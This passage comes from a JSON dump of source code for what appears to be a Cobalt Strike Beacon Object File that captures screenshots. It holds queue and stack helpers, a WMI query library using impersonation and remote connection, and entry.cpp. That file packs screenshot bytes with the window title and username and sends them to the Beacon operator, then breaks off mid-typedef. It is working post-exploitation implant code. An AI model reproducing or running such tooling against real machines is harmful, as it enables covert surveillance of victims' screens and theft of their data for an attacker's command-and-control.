ldap_count_values\n#define WLDAP32$ldap_get_values ldap_get_values\n#define WLDAP32$ldap_value_free ldap_value_free\n#define WLDAP32$ldap_next_attribute ldap_next_attribute\n#define WLDAP32$ber_free ber_free\n#define WLDAP32$ldap_memfree ldap_memfree\n#define WLDAP32$ldap_unbind ldap_unbind\n#define WLDAP32$ldap_unbind_s ldap_unbind_s\n#define WLDAP32$ldap_msgfree ldap_msgfree\n#define RPCRT4$UuidToStringA UuidToStringA\n#define RPCRT4$RpcStringFreeA RpcStringFreeA\n#define PSAPI$EnumProcessModulesEx EnumProcessModulesEx\n#define PSAPI$GetModuleFileNameExA GetModuleFileNameExA\n#define VERSION$GetFileVersionInfoSizeA GetFileVersionInfoSizeA\n#define VERSION$GetFileVersionInfoA GetFileVersionInfoA\n#define VERSION$VerQueryValueA VerQueryValueA\n#define BeaconPrintf(x, y, ...) printf(y, ##__VA_ARGS__)\n#define internal_printf printf\n#endif\n"
  },
  {
    "path": "common/queue.c",
    "content": "#include \"bofdefs.h\"\n//Not if anyone else adopts or looks at this\n//Its not threadsafe\ntypedef struct _item{\n    void * elem;\n    struct _item * next;\n}item, *Pitem;\n\ntypedef struct _queue{\\\n    Pitem head;\n    Pitem tail;\n    void (*push)(struct _queue *, void *);\n    void * (*pop)(struct _queue *);\n    void (*free)(struct _queue *);\n}queue, *Pqueue;\n\nvoid _push(Pqueue q, void * v)\n{\n    Pitem i = (Pitem)intAlloc(sizeof(item));\n    i->elem = v;\n    if(q->head == NULL && q->tail == NULL) // empty\n    {\n        q->head = i;\n        q->tail = i;\n        i->next = NULL;\n    }else // not empty\n    {\n        q->tail->next = i;\n        q->tail = i;\n    }\n}\nvoid * _pop(Pqueue q)\n{\n    void * retval = NULL;\n    Pitem i = NULL;\n    if(q->head == NULL && q->tail == NULL) // empty\n    {\n        return NULL;\n    }\n    retval = q->head->elem; //scanbuild false positive\n    if(q->head == q->tail) //last elem\n    {\n        intFree(q->head);\n        q->head = NULL;\n        q->tail = NULL;\n    }\n    else // not the last item\n    {\n        i = q->head;\n        q->head = q->head->next;\n        intFree(i);\n    }\n    return retval;\n    \n}\n\nvoid _free(Pqueue q)\n{\n    intFree(q);\n}\n\nPqueue queueInit()\n{\n    Pqueue q = (Pqueue)intAlloc(sizeof(queue));\n    q->head = NULL;\n    q->tail = NULL;\n    q->push = _push;\n    q->pop = _pop;\n    q->free = _free;\n    return q;\n}"
  },
  {
    "path": "common/stack.c",
    "content": "#include \"bofdefs.h\"\n//Note if anyone else adopts or looks at this\n//Its not threadsafe\ntypedef struct _item{\n    void * elem;\n    struct _item * next;\n    struct _item * prev;\n}item, *Pitem;\n\ntypedef struct _stack{\\\n    Pitem head;\n    Pitem tail;\n    void (*push)(struct _stack *, void *);\n    void * (*pop)(struct _stack *);\n    void (*free)(struct _stack *);\n}stack, *Pstack;\n\nvoid _push(Pstack q, void * v)\n{\n    Pitem i = (Pitem)intAlloc(sizeof(item));\n    i->elem = v;\n    if(q->head == NULL && q->tail == NULL) // empty\n    {\n        q->head = i;\n        q->tail = i;\n        i->next = NULL;\n        i->prev = NULL;\n    }else // not empty\n    {\n        q->tail->next = i;\n        i->prev = q->tail;\n        q->tail = i;\n    }\n}\nvoid * _pop(Pstack q)\n{\n    void * retval = NULL;\n    Pitem i = NULL;\n    if(q->head == NULL && q->tail == NULL) // empty\n    {\n        return NULL;\n    }\n    retval = q->tail->elem;\n    if(q->head == q->tail) //last elem\n    {\n        intFree(q->head);\n        q->head = NULL;\n        q->tail = NULL;\n    }\n    else // not the last item\n    {\n        i = q->tail;\n        q->tail = i->prev;\n        intFree(i);\n    }\n    return retval;\n    \n}\n\nvoid _free(Pstack q)\n{\n    intFree(q);\n}\n\n\nPstack stackInit()\n{\n    Pstack q = (Pstack)intAlloc(sizeof(stack));\n    q->head = NULL;\n    q->tail = NULL;\n    q->push = _push;\n    q->pop = _pop;\n    q->free = _free;\n    return q;\n}"
  },
  {
    "path": "common/wmi.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <oleauto.h>\n#include <wbemcli.h>\n#include <wchar.h>\n#include <io.h>\n#include <fcntl.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n#include \"wmi.h\"\n\n#define KEY_SEPARATOR\t\t\tL\" ,\\t\\n\"\n#define HEADER_ROW\t\t\t\t0\n#define WMI_QUERY_LANGUAGE\t\tL\"WQL\"\n#define WMI_NAMESPACE_CIMV2\t\tL\"root\\\\cimv2\"\n#define RESOURCE_FMT_STRING\t\tL\"\\\\\\\\%s\\\\%s\"\n#define RESOURCE_LOCAL_HOST\t\tL\".\"\n#define ERROR_RESULT\t\t\tL\"*ERROR*\"\n#define EMPTY_RESULT\t\t\tL\"(EMPTY)\"\n#define NULL_RESULT\t\t\t\tL\"(NULL)\"\n\n#define SAFE_DESTROY( arraypointer )\t\\\n\tif ( (arraypointer) != NULL )\t\\\n\t{\t\\\n\t\tOLEAUT32$SafeArrayDestroy(arraypointer);\t\\\n\t\t(arraypointer) = NULL;\t\\\n\t}\n#define SAFE_RELEASE( interfacepointer )\t\\\n\tif ( (interfacepointer) != NULL )\t\\\n\t{\t\\\n\t\t(interfacepointer)->lpVtbl->Release(interfacepointer);\t\\\n\t\t(interfacepointer) = NULL;\t\\\n\t}\n#define SAFE_FREE( string_ptr )\t\\\n\tif ( (string_ptr) != NULL )\t\\\n\t{\t\\\n\t\tOLEAUT32$SysFreeString(string_ptr);\t\\\n\t\t(string_ptr) = NULL;\t\\\n\t}\n\n\n\nHRESULT Wmi_Initialize(WMI* pWmi)\n{\n\tHRESULT\thr = S_OK;\n\n\tpWmi->pWbemServices = NULL;\n\tpWmi->pWbemLocator  = NULL;\n\tpWmi->pEnumerator = NULL;\n\tpWmi->bstrLanguage  = NULL;\n\tpWmi->bstrNameSpace = NULL;\n\tpWmi->bstrQuery = NULL;\n\t\n\tpWmi->bstrLanguage = OLEAUT32$SysAllocString(WMI_QUERY_LANGUAGE);\n\tpWmi->bstrNameSpace = OLEAUT32$SysAllocString(WMI_NAMESPACE_CIMV2);\n\n\t// Initialize COM parameters\n\thr = OLE32$CoInitializeEx(\n\t\tNULL, \n\t\tCOINIT_APARTMENTTHREADED\n\t);\n\tif (hr == RPC_E_CHANGED_MODE) {\n    \t\thr = S_OK;\n\t} else if (FAILED(hr)) {\n    \t\tBeaconPrintf(CALLBACK_ERROR, \"OLE32$CoInitializeEx failed: 0x%08lx\", hr);\n    \t\tgoto fail;\n\t}\n\thr = OLE32$CoInitializeSecurity( //Failure of this function does not necessarily mean we failed to initialize, it will fail on repeated calls, but the values from the original call are retained\n\t\t\tNULL,\n            -1,\n            NULL,\n            NULL,\n            RPC_C_AUTHN_LEVEL_DEFAULT,\n            RPC_C_IMP_LEVEL_IMPERSONATE,\n            NULL,\n            EOAC_DYNAMIC_CLOAKING,\n            NULL);\n        if (FAILED(hr))\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to set security, token impersonation may not work\\n\");\n        }\n\t\n\thr = S_OK;\n\nfail:\n\n\treturn hr;\n}\n\nHRESULT Wmi_Connect(\n\tWMI* pWmi, \n\tLPWSTR resource\n)\n{\n\tHRESULT hr = S_OK;\n\tCLSID\tCLSID_WbemLocator = { 0x4590F811, 0x1D3A, 0x11D0, {0x89, 0x1F, 0, 0xAA, 0, 0x4B, 0x2E, 0x24} };\n\tIID\t\tIID_IWbemLocator = { 0xDC12A687, 0x737F, 0x11CF, {0x88, 0x4D, 0, 0xAA, 0, 0x4B, 0x2E, 0x24} };\n\t\n\n\t// Set the properties in the WMI object\n\tBSTR bstrNetworkResource = OLEAUT32$SysAllocString(resource);\n\n\t// Obtain the initial locator to Windows Management on host computer\n\tSAFE_RELEASE(pWmi->pWbemLocator);\n\thr = OLE32$CoCreateInstance(\n\t\t&CLSID_WbemLocator,\n\t\t0,\n\t\tCLSCTX_ALL,\n\t\t&IID_IWbemLocator,\n\t\t(LPVOID *)&(pWmi->pWbemLocator)\n\t);\n\tif (FAILED(hr))\n\t{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"OLE32$CoCreateInstance failed: 0x%08lx\", hr);\n\t\tOLE32$CoUninitialize();\n\t\tgoto fail;\n\t}\n\n\t// Connect to the WMI namespace on host computer with the current user\n\thr = pWmi->pWbemLocator->lpVtbl->ConnectServer(\n\t\tpWmi->pWbemLocator,\n\t\tbstrNetworkResource,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\t0,\n\t\tNULL,\n\t\tNULL,\n\t\t&(pWmi->pWbemServices)\n\t);\n\tif (FAILED(hr))\n\t{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"ConnectServer to %ls failed: 0x%08lx\", bstrNetworkResource, hr);\n\t\tgoto fail;\n\t}\n\n\t// Set the IWbemServices proxy so that impersonation of the user (client) occurs\n\thr = OLE32$CoSetProxyBlanket(\n\t\t(IUnknown *)(pWmi->pWbemServices),\n\t\tRPC_C_AUTHN_WINNT,\n\t\tRPC_C_AUTHZ_NONE,\n\t\tNULL,\n\t\tRPC_C_AUTHN_LEVEL_DEFAULT,\n\t\tRPC_C_IMP_LEVEL_IMPERSONATE,\n\t\tNULL,\n\t\tEOAC_DYNAMIC_CLOAKING\n\t);\n\tif (FAILED(hr))\n\t{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"OLE32$CoSetProxyBlanket failed: 0x%08lx\", hr);\n\t\tgoto fail;\n\t}\n\thr = S_OK;\n\nfail:\n\tif(bstrNetworkResource)\n\t{\n    \tOLEAUT32$SysFreeString(bstrNetworkResource);\n\t}\n\t\n\treturn hr;\n}\n\nHRESULT Wmi_Query(\n\tWMI* pWmi, \n\tLPWSTR pwszQuery\n)\n{\n\tHRESULT hr = 0;\n\n\t// Free any previous queries\n\tSAFE_FREE(pWmi->bstrQuery);\n\n\t// Set the query\n\tpWmi->bstrQuery = OLEAUT32$SysAllocString(pwszQuery);\n\n\t// Free any previous results\n\tSAFE_RELEASE(pWmi->pEnumerator);\n\n\t// Use the IWbemServices pointer to make requests of WMI\n\thr = pWmi->pWbemServices->lpVtbl->ExecQuery(\n\t\tpWmi->pWbemServices,\n\t\tpWmi->bstrLanguage,\n\t\tpWmi->bstrQuery,\n\t\tWBEM_FLAG_BIDIRECTIONAL,\n\t\tNULL,\n\t\t&(pWmi->pEnumerator));\n\tif (FAILED(hr))\n\t{\n    \tBeaconPrintf(CALLBACK_ERROR, \"ExecQuery failed: 0x%08lx\", hr);\n\t\tSAFE_RELEASE(pWmi->pEnumerator);\n\t\tgoto fail;\n\t}\n\n\n\thr = S_OK;\n\nfail:\n\treturn hr;\n}\n\n\nHRESULT Wmi_ParseResults(\n\tWMI* pWmi,\n\tLPWSTR pwszKeys,\n\tBSTR*** ppwszResults,\n\tLPDWORD pdwRowCount,\n\tLPDWORD pdwColumnCount\n)\n{\n\tHRESULT hr = 0;\n\tBSTR    bstrColumns = NULL;\n\tBSTR**  bstrResults = NULL;\n\tBSTR*   bstrCurrentRow = NULL;\n\tDWORD   dwColumnCount = 1;\n\tDWORD   dwRowCount = 0;\n\tLPWSTR  pCurrentKey = NULL;\n\tDWORD   dwIndex = 0;\n\tIWbemClassObject *pWbemClassObjectResult = NULL;\n\tULONG   ulResultCount = 0;\n\tVARIANT varProperty;\n\n\t// Fill in the header row\n\t// Count the number of header columns\n\tbstrColumns = OLEAUT32$SysAllocString(pwszKeys);\n\tfor(dwIndex = 0; bstrColumns[dwIndex]; dwIndex++)\n\t{\n\t\tif (bstrColumns[dwIndex] == L',')\n\t\t\tdwColumnCount++;\n\t} \n\t// Allocate space for the columns in the header row\n\tbstrCurrentRow = (BSTR*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(BSTR)*dwColumnCount);\n\tif (NULL == bstrCurrentRow)\n\t{\n\t\thr = WBEM_E_OUT_OF_MEMORY;\n\t\tBeaconPrintf(CALLBACK_ERROR, \"KERNEL32$HeapAlloc failed: 0x%08lx\", hr);\n\t\tgoto fail;\n\t}\n\t// Fill in each column in the header row\n\tpCurrentKey = MSVCRT$wcstok(bstrColumns, KEY_SEPARATOR); ;\n\tfor(dwIndex = 0; pCurrentKey; dwIndex++)\n\t{\n\t\tbstrCurrentRow[dwIndex] = OLEAUT32$SysAllocString(pCurrentKey);\n\t\tpCurrentKey = MSVCRT$wcstok(NULL, KEY_SEPARATOR);\n\t} \n\t// Allocate space for the results including the current row\n\tdwRowCount++;\n\tbstrResults = (BSTR**)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(BSTR*)*dwRowCount);\n\tif (NULL == bstrResults)\n\t{\n\t\thr = WBEM_E_OUT_OF_MEMORY;\n\t\tBeaconPrintf(CALLBACK_ERROR, \"KERNEL32$HeapAlloc failed: 0x%08lx\", hr);\n\t\tgoto fail;\n\t}\n\tbstrResults[dwRowCount-1] = bstrCurrentRow;\n\tbstrCurrentRow = NULL;\n\n\t// Loop through the enumeration of results\n\thr = WBEM_S_NO_ERROR;\n\twhile (WBEM_S_NO_ERROR == hr)\n\t{\n\t\t// Get the next result in our enumeration of results\n\t\thr = pWmi->pEnumerator->lpVtbl->Next(pWmi->pEnumerator, WBEM_INFINITE, 1, &pWbemClassObjectResult, &ulResultCount); //Scanbuild false positive\n\t\tif (hr == S_OK && ulResultCount > 0) \n\t\t{\n\t\t\tif (pWbemClassObjectResult == NULL) \n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// Allocate space for the columns in the current row\n\t\t\tbstrCurrentRow = (BSTR*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(BSTR)*dwColumnCount);\n\t\t\tif (NULL == bstrCurrentRow)\n\t\t\t{\n\t\t\t\thr = WBEM_E_OUT_OF_MEMORY;\n\t\t\t\tBeaconPrintf(CALLBACK_ERROR, \"KERNEL32$HeapAlloc failed: 0x%08lx\", hr);\n\t\t\t\tgoto fail;\n\t\t\t}\n\t\t\t\n\t\t\t// Loop through each column/key and get that property from the current result\n\t\t\tfor (dwIndex = 0; dwIndex < dwColumnCount; dwIndex++)\n\t\t\t{\n\t\t\t\tpCurrentKey = bstrResults[HEADER_ROW][dwIndex];\n\n\t\t\t\tOLEAUT32$VariantInit(&varProperty);\n\n\t\t\t\t// Get the corresponding entry from the current result for the current key\n\t\t\t\thr = pWbemClassObjectResult->lpVtbl->Get(pWbemClassObjectResult, pCurrentKey, 0, &varProperty, 0, 0);\n\t\t\t\tif (FAILED(hr))\n\t\t\t\t{\n\t\t\t\t\tBeaconPrintf(CALLBACK_ERROR, \"pWbemClassObjectResult->lpVtbl->Get failed: 0x%08lx\", hr);\n\t\t\t\t\t//goto fail;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif (VT_EMPTY == varProperty.vt)\n\t\t\t\t{\n\t\t\t\t\tbstrCurrentRow[dwIndex] = OLEAUT32$SysAllocString(EMPTY_RESULT);\n\t\t\t\t}\n\t\t\t\telse if (VT_NULL == varProperty.vt)\n\t\t\t\t{\n\t\t\t\t\tbstrCurrentRow[dwIndex] = OLEAUT32$SysAllocString(NULL_RESULT);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\thr = OLEAUT32$VariantChangeType(&varProperty, &varProperty, VARIANT_ALPHABOOL, VT_BSTR);\n\t\t\t\t\tif (FAILED(hr))\n\t\t\t\t\t{\n\t\t\t\t\t\thr = WBEM_S_NO_ERROR;\n\t\t\t\t\t\tbstrCurrentRow[dwIndex] = OLEAUT32$SysAllocString(ERROR_RESULT);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbstrCurrentRow[dwIndex] = OLEAUT32$SysAllocString(varProperty.bstrVal);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tOLEAUT32$VariantClear(&varProperty);\n\n\t\t\t} // end for loop through each column/key\n\n\t\t\t// Allocate space for the results including the current row\n\t\t\tdwRowCount++;\n\t\t\tbstrResults = (BSTR**)KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bstrResults, sizeof(BSTR*)*dwRowCount);\n\t\t\tif (NULL == bstrResults)\n\t\t\t{\n\t\t\t\thr = WBEM_E_OUT_OF_MEMORY;\n\t\t\t\tBeaconPrintf(CALLBACK_ERROR, \"KERNEL32$HeapReAlloc failed: 0x%08lx\", hr);\n\t\t\t\tgoto fail;\n\t\t\t}\n\t\t\tbstrResults[dwRowCount - 1] = bstrCurrentRow;\n\t\t\tbstrCurrentRow = NULL;\n\n\t\t\t// Release the current result\n\t\t\tpWbemClassObjectResult->lpVtbl->Release(pWbemClassObjectResult);\n\n\t\t} // end if we got a pWbemClassObjectResult\n\n\t} // end While loop through enumeration of results\n\n\n\t*ppwszResults = bstrResults;\n\t*pdwRowCount = dwRowCount;\n\t*pdwColumnCount = dwColumnCount;\nfail:\n\tSAFE_FREE(bstrColumns);\n\n\treturn hr;\n}\n\n// Get a list of all the properties returned from the query\n// Then call the normal ParseResults using all the returned \n// properties as the keys/columns\nHRESULT Wmi_ParseAllResults(\n\tWMI* pWmi,\n\tBSTR*** ppwszResults,\n\tLPDWORD pdwRowCount,\n\tLPDWORD pdwColumnCount\n)\n{\n\tHRESULT     hr = 0;\n\tIWbemClassObject *pWbemClassObjectResult = NULL;\n\tULONG       ulResultCount = 0;\n\tLONG        lFlags = WBEM_FLAG_ALWAYS | WBEM_FLAG_NONSYSTEM_ONLY;\n\tSAFEARRAY*  psaProperties = NULL;\n\tLONG        lLBound = 0;\n\tLONG        lUBound = 0;\n\tsize_t      ullKeysLength = 1;\n\tLPWSTR      pwszKeys = NULL;\n\tLONG        lKeyCount = 0;\n\tVARIANT     varProperty;\n\n\tpwszKeys = (LPWSTR)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ullKeysLength*sizeof(wchar_t));\n\tif (NULL == pwszKeys)\n\t{\n\t\thr = WBEM_E_OUT_OF_MEMORY;\n\t\tBeaconPrintf(CALLBACK_ERROR, \"KERNEL32$HeapAlloc failed: 0x%08lx\", hr);\n\t\tgoto fail;\n\t}\n\t\n    // Get the first result in our enumeration of results\n\thr = pWmi->pEnumerator->lpVtbl->Next(pWmi->pEnumerator, WBEM_INFINITE, 1, &pWbemClassObjectResult, &ulResultCount);\n\tif (FAILED(hr))\n\t{\n\t    BeaconPrintf(CALLBACK_ERROR, \"pEnumerator->Next failed: 0x%08lx\", hr);\n\t\tgoto fail;\n\t}\n\telse if (ulResultCount == 0 || pWbemClassObjectResult == NULL)\n\t{\n\t    BeaconPrintf(CALLBACK_ERROR, \"No results\");\n\t    goto fail;\n\t}\n\t\t\n\t\t\t\n\t// Get a list of all the properties in the object\n\thr = pWbemClassObjectResult->lpVtbl->GetNames(pWbemClassObjectResult, NULL, lFlags, NULL, &psaProperties );\n\tif ( FAILED(hr) )\n\t{\n\t    BeaconPrintf(CALLBACK_ERROR, \"pWbemClassObjectResult->GetNames failed: 0x%08lx\", hr);\n\t\tgoto fail;\n\t}\n\thr = OLEAUT32$SafeArrayGetLBound(psaProperties, 1, &lLBound);\n    if ( FAILED(hr) )\n    {\n\t    BeaconPrintf(CALLBACK_ERROR, \"OLEAUT32$SafeArrayGetLBound failed: 0x%08lx\", hr);\n\t\tgoto fail;\n\t}\n\thr = OLEAUT32$SafeArrayGetUBound(psaProperties, 1, &lUBound);\n    if ( FAILED(hr) )\n    {\n\t    BeaconPrintf(CALLBACK_ERROR, \"OLEAUT32$SafeArrayGetUBound failed: 0x%08lx\", hr);\n\t\tgoto fail;\n\t}\n\t\n\t// Iterate through all the properties and create a CSV key list\n\tfor (LONG lIndex = lLBound; lIndex <= lUBound; ++lIndex )\n    {\n        LPWSTR pwszCurrentName = NULL;\n        hr = OLEAUT32$SafeArrayGetElement(psaProperties, &lIndex, &pwszCurrentName);\n        if ( FAILED(hr) )\n        {\n\t        BeaconPrintf(CALLBACK_ERROR, \"OLEAUT32$SafeArrayGetElement(%ld) failed: 0x%08lx\", lIndex, hr);\n\t\t    goto fail;\n\t    }\n\t    \n\t    OLEAUT32$VariantInit(&varProperty);\n\n\t\t// Get the corresponding property for the current property name\n\t\thr = pWbemClassObjectResult->lpVtbl->Get(pWbemClassObjectResult, pwszCurrentName, 0, &varProperty, 0, 0);\n\t\tif (FAILED(hr))\n\t\t{\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"pWbemClassObjectResult->lpVtbl->Get failed: 0x%08lx\", hr);\n\t\t\t//goto fail;\n\t\t\tcontinue;\n\t\t}\n\n        // Check the type of property because we aren't interested in references\n\t\tif (VT_BYREF & varProperty.vt)\n\t\t{\n\t\t\tBeaconPrintf(CALLBACK_OUTPUT, \"%S is a reference, so skip\", pwszCurrentName);\n\t\t}\n\t\telse\n\t\t{\n            ullKeysLength = ullKeysLength + MSVCRT$wcslen( pwszCurrentName ) + 1;\n            pwszKeys = (LPWSTR)KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, pwszKeys, sizeof(wchar_t)*ullKeysLength);\n            if (NULL == pwszKeys)\n\t        {\n\t\t        hr = WBEM_E_OUT_OF_MEMORY;\n\t\t        BeaconPrintf(CALLBACK_ERROR, \"KERNEL32$HeapReAlloc failed: 0x%08lx\", hr);\n\t\t        OLEAUT32$VariantClear(&varProperty);\n\t\t        goto fail;\n\t        }\n\t        // If this isn't the first column, prepend a comma\n\t        if ( 0 != lKeyCount )\n\t        {\n\t            pwszKeys = MSVCRT$wcscat(pwszKeys, L\",\");\n\t        }\n            pwszKeys = MSVCRT$wcscat(pwszKeys, pwszCurrentName);\n            \n            lKeyCount++;\n        }\n        \n        OLEAUT32$VariantClear(&varProperty);\n\t}\n\t\n\t// Release the current result\n\tpWbemClassObjectResult->lpVtbl->Release(pWbemClassObjectResult);\n\t\n\t// Reset the enumeration\n\thr = pWmi->pEnumerator->lpVtbl->Reset(pWmi->pEnumerator);\n\tif ( FAILED(hr) )\n\t{\n\t    BeaconPrintf(CALLBACK_ERROR, \"Reset failed: 0x%08lx\", hr);\n\t\tgoto fail;\n\t}\n\t\n\t// Get the results for all the properties using the newly create key list\n\thr = Wmi_ParseResults( pWmi, pwszKeys, ppwszResults, pdwRowCount, pdwColumnCount );\n\t\nfail:\n\n\tif (pwszKeys)\n\t{\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pwszKeys);\n\t\tpwszKeys = NULL;\n\t}\n\t\n    SAFE_DESTROY(psaProperties);\n\n\treturn hr;\n}\n\nvoid Wmi_Finalize(\n\tWMI* pWmi\n)\n{\n\tSAFE_RELEASE(pWmi->pWbemServices);\n\tSAFE_RELEASE(pWmi->pWbemLocator);\n\n\tSAFE_FREE(pWmi->bstrLanguage);\n\tSAFE_FREE(pWmi->bstrNameSpace);\n\tSAFE_FREE(pWmi->bstrQuery);\n\n\t// un-initialize the COM library\n\tOLE32$CoUninitialize();\n\n\treturn;\n}\n"
  },
  {
    "path": "common/wmi.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <wbemidl.h>\n#include <stdint.h>\n\n\n\n\n\ntypedef struct _Wmi {\n\tIWbemServices* pWbemServices;\n\tIWbemLocator* pWbemLocator;\n\tIEnumWbemClassObject* pEnumerator;\n\tBSTR bstrLanguage;\n\tBSTR bstrNameSpace;\n\tBSTR bstrNetworkResource;\n\tBSTR bstrQuery;\n} WMI;\n\nHRESULT Wmi_Initialize(\n\tWMI* pWMI\n);\n\nHRESULT Wmi_Connect(\n\tWMI* pWmi,\n\tLPWSTR resource\t\n);\n\nHRESULT Wmi_Query(\n\tWMI* pWmi, \n\tLPWSTR pwszQuery\n);\n\nHRESULT Wmi_ParseResults(\n\tWMI* pWmi,\n\tLPWSTR pwszKeys,\n\tBSTR*** ppwszResults,\n\tLPDWORD pdwRowCount,\n\tLPDWORD pdwColumnCount\n);\n\nvoid Wmi_Finalize(\n\tWMI* pWmi\n);\n"
  },
  {
    "path": "entry.cpp",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include \"bofdefs.h\"\n#include <gdiplus.h>    \n\n#pragma comment(lib, \"User32.lib\")\n\n/*\n\n9/2/2025 update\n\n\nthis line was the source of my hatred for MSVC and CobaltStrike for 2 days\nhttps://x.com/codex_tf2/status/1888504670269874667\n\nfor whatever reason, adding the \n```\nusing namespace Gdiplus;\n```\nline caused MSVC to use COMDAT sections which Beacon for whatever reason doesnt handle well.\nBut guess what? By sheer luck (and arguably slightly better handling), the TrustedSec COFFLoader\nwas able to run the BOF just fine.\n\nSo i had a fully working BOF that only worked in COFFLoader but not in Beacon for a whole day and a half.\nthx (and condolences) to all the unfortunate souls who looked at this error with me\n\nThis single line is the cause of the migration from MSVC to mingw.\n\nCodeX\n*/\nusing namespace Gdiplus;\n\n\n/*Download Screenshot*/\nvoid downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) {\n// Function modified by @BinaryFaultline\n\n// This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs\n// Special thanks to CCob doing the research around the BeaconOutput options, making this much easier for me.\n\n// private void WriteSessionUserNameTitle(BinaryWriter bw, int session, string userName, string title) {\n//             bw.Write(session);\n//             bw.Write(title.Length);\n//             bw.Write(Encoding.UTF8.GetBytes(title));\n//             bw.Write(userName.Length);\n//             bw.Write(Encoding.UTF8.GetBytes(userName));\n//         }\n\n// var screenshotCallback = new BinaryWriter(new MemoryStream());\n//             screenshotCallback.Write(jpgData.Length);\n//             screenshotCallback.Write(jpgData);\n//             WriteSessionUserNameTitle(screenshotCallback, session, userName, title);\n    int messageLength = 4 + jpgLen + 4 + 4 + titleLen + 4 + usernameLen;\n    char* packedData = (char*)MSVCRT$malloc(messageLength);\n\n    // //pack on jpgLen/fileSize as 4-byte int second\n    packedData[0] = jpgLen & 0xFF;\n    packedData[1] = (jpgLen >> 8) & 0xFF;\n    packedData[2] = (jpgLen >> 16) & 0xFF;\n    packedData[3] = (jpgLen >> 24) & 0xFF;\n\n    int packedIndex = 4;\n\n    // //pack on the bytes of jpg/returnData\n    for (int i = 0; i < jpgLen; i++) {\n        packedData[packedIndex] = jpg[i];\n        packedIndex++;\n    }\n    \n    //pack on session as 4-byte int first\n    packedData[packedIndex] = session & 0xFF;\n    packedData[packedIndex + 1] = (session >> 8) & 0xFF;\n    packedData[packedIndex + 2] = (session >> 16) & 0xFF;\n    packedData[packedIndex + 3] = (session >> 24) & 0xFF;\n\n    //pack on titleLength as 4-byte int second\n    packedData[packedIndex + 4] = titleLen & 0xFF;\n    packedData[packedIndex + 5] = (titleLen >> 8) & 0xFF;\n    packedData[packedIndex + 6] = (titleLen >> 16) & 0xFF;\n    packedData[packedIndex + 7] = (titleLen >> 24) & 0xFF;\n    \n    packedIndex += 8;\n\n    //pack on the bytes of title\n    for (int i = 0; i < titleLen; i++) {\n        packedData[packedIndex] = windowTitle[i];\n        packedIndex++;\n    }\n\n    //pack on userLength as 4-byte int second\n    packedData[packedIndex] = usernameLen & 0xFF;\n    packedData[packedIndex + 1] = (usernameLen >> 8) & 0xFF;\n    packedData[packedIndex + 2] = (usernameLen >> 16) & 0xFF;\n    packedData[packedIndex + 3] = (usernameLen >> 24) & 0xFF;\n    \n    packedIndex += 4;\n\n    //pack on the bytes of user\n    for (int i = 0; i < usernameLen; i++) {\n        packedData[packedIndex] = username[i];\n        packedIndex++;\n    }\n\n    BeaconOutput(CALLBACK_SCREENSHOT, packedData, messageLength);\n    return;\n}\n//-------------------------------------------------------------\n// Typedefs for the WinAPI functions\n//-------------------------------------------------------------\ntypedef char* (__cdecl *PFN_getenv)(const char*);\nstatic PFN_getenv pgetenv = NULL;\ntypedef HDC(WINAPI* PFN_CreateDCA)(LPCSTR, LPCSTR, LPCSTR, const DEVMODEA*);\ntypedef int     (WINAPI* PFN_GetDeviceCaps)(HDC, int);\ntypedef BOOL(WINAPI* PFN_DeleteDC)(HDC);\ntypedef int     (WINAPI* PFN_GetObjectA)(HANDLE, int, LPVOID);\ntypedef HGDIOBJ(WINAPI* PFN_GetStockObject)(int);\ntypedef HDC(WINAPI* PFN_GetDC)(HWND);\ntypedef int     (WINAPI* PFN_ReleaseDC)(HWND, HDC);\ntypedef HDC(WINAPI* PFN_CreateCompatibleDC)(HDC);\ntypedef HBITMAP(WINAPI* PFN_CreateCompatibleBitmap)(HDC, int, int);\ntypedef HGDIOBJ(WINAPI* PFN_SelectObject)(HDC, HGDIOBJ);\ntypedef BOOL(WINAPI* PFN_PrintWindow)(HWND, HDC, UINT);\ntypedef BOOL(WINAPI* PFN_BitBlt)(HDC, int, int, int, int, HDC, int, int, DWORD);\ntypedef BOOL(WINAPI* PFN_StretchBlt)(HDC, int, int, int, int, HDC, int, int, int, int, DWORD);\ntypedef BOOL(WINAPI* PFN_ShowWindow)(HWND, int);\ntypedef LONG(WINAPI* PFN_SetWindowLongA)(HWND, int, LONG);\ntypedef int (WINAPI* PFN_SetStretchBltMode)(HDC, int);\ntypedef BOOL(WINAPI* PFN_SetLayeredWindowAttributes)(HWND, COLORREF, BYTE, DWORD);\ntypedef BOOL(WINAPI* PFN_UpdateWindow)(HWND);\ntypedef VOID(WINAPI* PFN_Sleep)(DWORD);\ntypedef BOOL(WINAPI* PFN_GetWindowRect)(HWND, 